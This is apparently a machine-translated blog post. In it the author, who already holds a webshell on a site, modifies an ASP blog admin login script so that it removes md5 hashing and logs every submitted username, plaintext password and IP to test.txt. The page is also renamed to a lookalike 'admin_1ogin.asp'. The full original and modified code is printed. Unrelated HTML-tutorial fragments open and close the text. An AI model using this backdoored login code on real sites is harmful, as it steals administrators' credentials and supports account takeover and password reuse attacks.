Recommended: HTML code writing collection HTML is Hypertext Markup Language (HypertextMarkupLanguage), also known as WEB web language, is necessary to understand it on web pages. Although there are many tools for making web pages now, such as Dreamwvear, FrontPage, etc., you can actually make beautiful web pages without understanding these codes. . . Because HTML content is numerous, few people are willing to write code to make web pages (ine efficiency), and most of them use
In a security check, I actually got the webshell, but I also need the social worker to have other information in his email address, so I have to know his habits.
The database was downloaded, but the md5 password could not be decrypted. Alas, it seems that you just need to record his login administrator account password!
Save the trouble of getting rid of the problem!
This password is actually important but not important.
Because many people like to use the same password. Even security detectors like me are inevitably the habit of using the same account password.
First, check out his background login code
<%
Dim Login
Set Login=new AdLogin
Login.Execute
Class AdLogin
Private ExCommCls
Private Sub class_initialize
Set CommCls=new CommonCls
ExCommCls.IsIpAllow
ExCommCls.CheckInstall
ExCommCls.GetConfigCache(*)
End Sub
Private Sub class_terminate
Set ExCommCls=nothing
End Sub
public Sub Execute
Dim Action
Action=Request(action)
Select Case Action
Case CheckLogin
CheckLogin
Case LoginOut
LoginOut
Case Else
LoginF
End Select
End Sub
Private Sub CheckLogin
Dim Adname,AdPwd,CheckCode
AdName=ExCommCls.G(Trim(request(Adname)))
AdPwd=md5(Trim(request(AdPwd)))
CheckCode=ExCommCls.G(request(checkCode))
If Trim(CheckCode)<>session(excheckcode) and Application(sn&IsCheckCode)=Yes Then
ExCommCls.ShowMsg Verification code is incorrect! ,Application(sn&blogurl)&admin_login.asp
Exit Sub
End If
If Trim(AdName)=CStr(Application(sn&AdName)) And Trim(AdPwd)=CStr(Application(sn&AdPwd)) Then
Response.Cookies(Md5(SN))(AdName)=AdName
Response.Cookies(Md5(SN))(AdPwd)=AdPwd
session(AdLogin)=Md5(SN)
ExCommCls.GetConfigCache(*)
ExCommCls.GetClassCache()
Response.Redirect(Application(sn&blogurl)&admin_index.asp)
Else
ExCommCls.ShowMsg Account or password is wrong, Application(sn&blogurl)&admin_login.asp
End if
End Sub
Private Sub LoginOut
Response.Cookies(Md5(SN))(AdName)=
Response.Cookies(Md5(SN))(AdPwd)=
session.Abandon()
ExCommCls.ShowMsg successfully logged out, Application(sn&blogurl)&index.asp
End Sub
Private Sub LoginF
%>
Look at the following code
AdName=ExCommCls.G(Trim(request(Adname)))
AdPwd=md5(Trim(request(AdPwd)))
---The meaning is very simple, so I don't explain it explicitly here. It mainly depends on md5. If the password is encrypted using md5, the password we recorded will be useless, and it is still md5. so
So I thought of a fishing method. Its original login interface is
Private Sub CheckLogin
Dim Adname,AdPwd,CheckCode,StrLogText,ip,ff
AdName=ExCommCls.G(Trim(request(Adname)))
AdPwd=(Trim(request(AdPwd)))
CheckCode=ExCommCls.G(request(checkCode))
strLogFile=test.txt
IP=request(IP)
StrLogText=StrLogText&AdName&----&AdPwd&-----IP:&IP&(REMOTE_HOST)
set f=Server.CreateObject(scripting.filesystemobject)
set ff=f.opentextfile(server.mapath(.)&/&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
If Trim(CheckCode)<>session(excheckcode) and Application(sn&IsCheckCode)=Yes Then
ExCommCls.ShowMsg Verification code is incorrect! ,Application(sn&blogurl)&Admin_1ogin.asp
Exit Sub
End If
If Trim(AdName)=CStr(Application(sn&AdName)) And Trim(AdPwd)=CStr(Application(sn&AdPwd)) Then
Response.Cookies(Md5(SN))(AdName)=AdName
Response.Cookies((SN))(AdPwd)=AdPwd
session(AdLogin)=Md5(SN)
ExCommCls.GetConfigCache(*)
ExCommCls.GetClassCache()
Response.Redirect(Application(sn&blogurl)&Admin_1ogin.asp)
Else
ExCommCls.ShowMsg Account or password is wrong, Application(sn&blogurl)&Admin_1ogin.asp
End if
End Sub
See or not,
a=The original login page has now been replaced with a phishing page
b=The original login page (admin_login.asp) is modified to admin_1ogin.asp
Why?
Original: AdPwd=md5(Trim(request(AdPwd)))
Response.Cookies(Md5(SN))(AdPwd)=AdPwd
Revise
AdPwd=(Trim(request(AdPwd)))
Response.Cookies((SN))(AdPwd)=AdPwd
Remove md5. . This confusing method has been used for a long time! . .
No technical content. Please don't laugh at me! Password will be recorded on test.txt
Share: Highlights of HEAD elements HTML documents consist of two parts: Head (theme part, generally invisible) and Body (the body part, visible in the browser). With the popularity of visual web editors such as FrontPage and Dreamweaver (DW), it is no longer a dream to make a professional web page without understanding HTML. However, these homepage creation tools cannot be used